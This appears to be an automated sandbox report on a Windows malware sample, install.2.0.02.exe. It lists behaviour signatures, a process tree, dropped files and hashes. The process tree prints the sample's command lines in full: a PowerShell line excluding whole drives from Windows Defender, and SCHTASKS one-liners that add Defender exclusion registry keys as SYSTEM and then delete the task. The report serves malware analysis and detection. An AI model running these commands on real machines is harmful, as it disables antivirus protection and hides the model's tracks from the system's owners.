Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/10/2026, 23:25

General

  • Target
    install.2.0.02.exe
  • Size 34.6MB
  • Sample261022-3erpcayv2r
  • SHA256 c3134129552fdf1c9010629ac26c89193a167e13ab2c0bd98c185aae7f47f7ba
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4200
  • C:\Users\Public\XS6csd\WWXa0o.exe
    "C:\Users\Public\XS6csd\WWXa0o.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1796
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XS6csd\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XS6csd\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6104
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4560
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3428
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3356
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5984
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3864
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2908
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:476
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3172
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4460
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3816
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:712
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4640
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1932
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5000
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4356
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2240
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5264
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2316
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XS6csd" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:5380
                      • C:\Users\Public\XS6csd\WWXa0o.exe
                        "C:\Users\Public\XS6csd\WWXa0o.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4852
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4628
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:616
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2976

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 089302c59c0c53a4597352965e63aacac5951085fefef95465f46dad7e1360ac
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 b7f21244d0db41358dc919a8b2bd7eca574d46a9e99ec47a81de7e44ff901296
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 3349dc2e2edb2071e27c57c8ebd1d2e55e9227cb559ac2b2f3f08f357ee007b2
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 b8c4b730ab956e402e8ec23da565a97f2d51d16b48b0152dbfc205bf8ca1835f
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_bfxjeg45.f1g.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfxjeg45.f1g.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\XS6csd\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 cf22262f5c7bd8ed55b1cb7e694468ba81fc7dd4cd56debb87ba5a3a4ae8d243
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              WWXa0o.exe

                              • Path C:\Users\Public\XS6csd\WWXa0o.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\XS6csd\adoresd.dat
                              • Size 4.8MB
                              • SHA256 69126f15c628a7d3267179975702741d2a10be7f3e0b8f497c5860c77e387fa8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\XS6csd\msadox.tb
                              • Size 8KB
                              • SHA256 0f997c290687bffbb393691b24563816471c0ca12f4bf6270c161be0ef9cd7f4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1704-569-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-563-0x0000015A8C350000-0x0000015A8C3DA000-memory.dmp

                              memory/1704-545-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-547-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-546-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-550-0x0000015A88D40000-0x0000015A8925E000-memory.dmp

                              memory/1704-552-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-561-0x0000015A8C350000-0x0000015A8C3DA000-memory.dmp

                              memory/1704-560-0x0000015A8C270000-0x0000015A8C2BE000-memory.dmp

                              memory/1704-558-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-564-0x0000015A8C350000-0x0000015A8C3DA000-memory.dmp

                              memory/1704-544-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-562-0x0000015A8C350000-0x0000015A8C3DA000-memory.dmp

                              memory/1704-566-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-568-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-539-0x00007FFA5FE60000-0x00007FFA5FE62000-memory.dmp

                              memory/1704-540-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-538-0x0000015A8B540000-0x0000015A8BE17000-memory.dmp

                              memory/1704-531-0x00007FFA5FE50000-0x00007FFA5FE52000-memory.dmp

                              memory/1704-532-0x0000015A88D40000-0x0000015A8925E000-memory.dmp

                              memory/1796-611-0x000001E5FEAE0000-0x000001E5FEAEA000-memory.dmp

                              memory/1796-605-0x000001E5FEA90000-0x000001E5FEAB2000-memory.dmp

                              memory/1796-610-0x000001E5FED20000-0x000001E5FEDD2000-memory.dmp

                              memory/1796-609-0x000001E5FED00000-0x000001E5FED1E000-memory.dmp

                              memory/4200-2-0x0000000002050000-0x000000000205C000-memory.dmp

                              memory/4200-525-0x00007FFA48770000-0x00007FFA48782000-memory.dmp

                              memory/4200-0-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4200-1-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4200-504-0x00007FFA48770000-0x00007FFA48782000-memory.dmp

                              memory/4200-524-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4852-587-0x000001CCC1050000-0x000001CCC1927000-memory.dmp

                              memory/4852-593-0x000001CCC1050000-0x000001CCC1927000-memory.dmp

                              memory/4852-594-0x000001CCC1050000-0x000001CCC1927000-memory.dmp

                              memory/4852-592-0x000001CCC1050000-0x000001CCC1927000-memory.dmp

                              memory/4852-591-0x000001CCC1050000-0x000001CCC1927000-memory.dmp

                              memory/4852-596-0x000001CCBE8E0000-0x000001CCBEDFE000-memory.dmp

                              memory/4852-595-0x00007FFA5FE50000-0x00007FFA5FE52000-memory.dmp

                              memory/4852-580-0x00007FFA5FE50000-0x00007FFA5FE52000-memory.dmp

                              memory/4852-586-0x00007FFA5FE60000-0x00007FFA5FE62000-memory.dmp

                              memory/4852-584-0x000001CCC1050000-0x000001CCC1927000-memory.dmp

                              memory/4852-581-0x000001CCBE8E0000-0x000001CCBEDFE000-memory.dmp